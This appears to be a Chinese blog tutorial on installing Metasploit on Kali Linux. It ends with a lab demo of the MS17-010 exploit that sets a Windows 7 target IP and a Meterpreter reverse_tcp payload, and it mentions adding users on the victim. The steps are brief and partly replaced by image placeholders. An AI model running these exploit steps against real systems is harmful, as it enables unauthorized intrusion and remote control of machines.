msf 背景
- Msfconsole:是一个一体化集中控制台，允许你访问到几乎所有的MSF框架选项
metasploit就是一个免费的漏洞框架，利用他人人都是黑客，使用者不需要任何编程基础就可以使用
msf没有更新 1926的渗透攻击数
image.png
更新源
命令：
root@kali:~# vi /etc/apt/sources.list
- vi编辑器当中的使用：“ i ”插入添加，esc键退出，“：wq”保存并退出。
编辑输入以下源：
- kali官方源
deb http://http.kali.org/ kali-rolling main non-free contrib
deb-src http://http.kali.org/ kali-rolling main non-free contrib
- 中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
添加数字签名
wget archive.kali.org/archive-key.asc //下载签名（因为中科的源kail不识别，所以一定要加入签名）
apt-key add archive-key.asc //安装签名
image.png
注：如果添加数字签名还提示无法安装可删除原有msf
root@kali:~# apt remove metasploit-framework
注：卸载过程中无法获得锁/var/cache/apt/archives/lock - open (11:资源暂时不可用)
无法对目录/var/cache/apt/archives/加锁
root@kali:~# sudo rm /var/cache/apt/archives/lock //进行强制解锁
root@kali:~# sudo rm /var/cache/apt/archives/
以上操作不要做，可能报错需要重装kail的问题！
安装msf框架
root@bogon:~# apt-get update //更新框架
image.png
root@kali:~# apt-get install metasploit-framework//安装msf框架
image.png
如下界面选yes
image.png
如果出现如下报错用一下命令解决：
image.png
注意：如果更新完msf出现才下问题
root@kaliew:~# msfconsole
[*] Bundler failed to load and returned this error:
'cannot load such file -- bundler/setup'
[*] You may need to uninstall or upgrade bundler
解决方法：
root@kaliew:~# sudo gem install bundler
root@kaliew:~# bundle update celluloid
root@kali:~# systemctl start postgresql //启动数据库
root@kali:~# systemctl enable postgresql //允许开机自启动
root@kali:~# msfdb init //构建数据库缓存
root@kali:~#msfconsole
ms17-010案例演示
search ms17-010 --- 查询ms17-010
use 2 --- 使用第二条漏洞
image.png
set RHOST 192.168.1.123 ---win7环境ip
设置目标主机的IP地址为192.168.1.119 ---kail环境ip
set payload windows/x64/meterpreter/reverse_tcp ---设置payload
show options ---查看需要配置的参数
image.png
image.png
新增用户同步
image.png
image.png
image.png
网友评论